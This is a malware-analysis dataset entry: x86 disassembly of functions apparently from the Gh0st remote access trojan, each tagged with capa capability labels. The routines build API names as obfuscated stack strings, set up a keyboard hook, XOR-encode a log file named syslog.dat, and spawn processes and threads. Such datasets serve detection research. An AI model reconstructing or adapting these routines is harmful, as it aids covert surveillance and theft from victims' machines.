joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ca80
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x38]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000cb75
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x38]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10011120
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x1000cc10
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
mov ebx, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push ebp
mov byte [esp + 0x1d], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x30]
cmp dword [edi + 4], 0xffffffff
jne 0x1000ccc3
mov ecx, ebx
call fcn.1000cd90
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebx + 0x20]
push 0x80000000
push edx
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x1000cced
pop edi
pop ebp
or eax, eax
pop ebx
add esp, 0x20
ret 4
mov eax, dword [edi + 4]
push esi
push 0
push edi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
mov byte [esi], 0x6a
mov ecx, dword [edi]
mov dword [esi + 1], ecx
mov edx, dword [edi + 4]
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push ebp
mov dword [esi + 5], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000cd68
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10011120
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x20
ret 4
mov ecx, ebx
call fcn.1000cd90
mov edi, dword [esp + 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x1000d2e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x1000d3a3
sub eax, 2
je 0x1000d39c
sub eax, 2
je 0x1000d395
mov esi, ecx
jmp 0x1000d3a8
mov esi, 5
jmp 0x1000d3a8
mov esi, 3
jmp 0x1000d3a8
mov esi, 1
lea edx, [esp + 0x3c]
lea ebp, [edi + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x1000d415
cmp esi, 1
jne 0x1000d3eb
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x1000d42a
cmp esi, 3
jne 0x1000d401
xor edx, edx
mov esi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x1000d42a
cmp esi, 5
jne 0x1000d426
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x1000d42a
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x1000d42a
mov esi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebp
call ebx
cmp eax, 0xffffffff
jne 0x1000d463
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, edi
call fcn.10011120
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x1000d490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x54
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x38]
lea ecx, [esp + 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x2c]
lea eax, [esp + 0x54]
push edx
push eax
mov byte [esp + 0x5c], 0x6b
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], 0x6e
mov byte [esp + 0x60], bl
mov byte [esp + 0x61], 0x6c
mov byte [esp + 0x62], 0x33
mov byte [esp + 0x63], 0x32
mov byte [esp + 0x64], 0x2e
mov byte [esp + 0x65], 0x64
mov byte [esp + 0x66], 0x6c
mov byte [esp + 0x67], 0x6c
mov byte [esp + 0x68], 0
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x72
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x46
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0
call ebp
push eax
call esi
mov ebx, dword [esp + 0x68]
push 0
push 0x80
push 3
mov ecx, dword [ebx]
mov ebp, dword [ebx + 4]
push 0
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
push 2
lea edx, [edi + 0x20]
push 0x40000000
push edx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x6c]
lea ecx, [esp + 0x1c]
push 0
add edx, 0xfffffff8
push ecx
add ebx, 8
push edx
push ebx
push esi
call dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add ecx, ebp
lea edx, [esp + 0x20]
mov dword [esp + 0x25], ecx
push 9
push edx
mov ecx, edi
mov byte [esp + 0x28], 0x70
mov dword [esp + 0x29], eax
call fcn.10011120
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret 8
Function at 0x1000e800
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x1000e822
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10003400
add esp, 8
test al, al
jne 0x1000e836
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x1000f000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10011000
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001c20c
je 0x1000f029
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000f03b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000f04b
push eax
push 0x10021940
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x1000e380
push 0
mov dword [0x1001f200], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18

Function at 0x1000f0c0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x1001c20c
test eax, eax
jbe 0x1000f104
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x1000f0e4
pop esi
pop ebp
mov ecx, ebx
call fcn.100110f0
pop edi
pop ebx
ret
Function at 0x1000f5f0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret

Function at 0x1000f6e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x6c
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
push esi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.1000f5f0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [0x10021344]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10021de8
push edi
call dword [0x10021348]
push 0x30
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [0x1002134c]
push 0x30
call esi
add esp, 4
push ebp
mov ebp, dword [0x10021350]
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.10011bc0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.10011bc0
add esp, 0xc
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x10010170
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
push eax
call edi
mov ecx, dword [0x10021b54]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov ebx, eax
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100102d3
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x1001030d
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x50], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x50]
inc eax
dec edx
mov dword [esp + 0x50], edx
jne 0x100102f9
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x100108a0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x10021b64]
sub esp, 0x28
test eax, eax
jne 0x100108bc
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10021b64], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x1001c21c
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.100109c0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10021b58], eax
call esi
mov eax, dword [0x10021b58]
add esp, 4
test eax, eax
jne 0x1001094a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10010982
push 0x30
call esi
mov eax, dword [0x10021b58]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x10021b54], eax
call esi
mov eax, dword [0x10021b54]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1001099e
test eax, eax
je 0x10010996
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100109b2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10010b40
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
sub esp, 0x24
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
push ebx
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 0x15], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
push ebp
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0xc]
mov dl, 0x72
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x79
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov esi, eax
call fcn.100108a0
test al, al
jne 0x10010c10
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push edi
mov edi, dword [0x10021b54]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x10021b50], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x10021b54]
mov dword [0x10021b4c], eax
push 0x104
mov dword [edx + 8], ebx
mov eax, dword [0x10021b54]
mov dword [eax + 4], ebx
mov ecx, dword [0x10021b54]
xor eax, eax
mov dword [ecx], ebx
mov edx, dword [0x10021b54]
mov ecx, 0x20
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x10021b54]
add eax, 0xd
push eax
call esi
mov ecx, dword [0x10021b54]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x10021b64]
add esp, 4
push str.SetWindowsHookExA
push edx
call ebp
push 0x30
mov edi, eax
call esi
mov eax, dword [0x10021b54]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10010cc9
mov ecx, dword [0x10021b54]
mov byte [ecx + 0xc], 1
jmp 0x10010cd2
mov edx, dword [0x10021b54]
mov byte [edx + 0xc], bl
mov eax, dword [0x10021b54]
cmp dword [eax + 4], ebx
jne 0x10010cf6
mov ecx, dword [0x10021b5c]
push ebx
push ecx
push 0x100104c0
push 3
call edi
mov edx, dword [0x10021b54]
mov dword [edx + 4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x24
ret
Function at 0x10011000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001c22c
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002b00
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4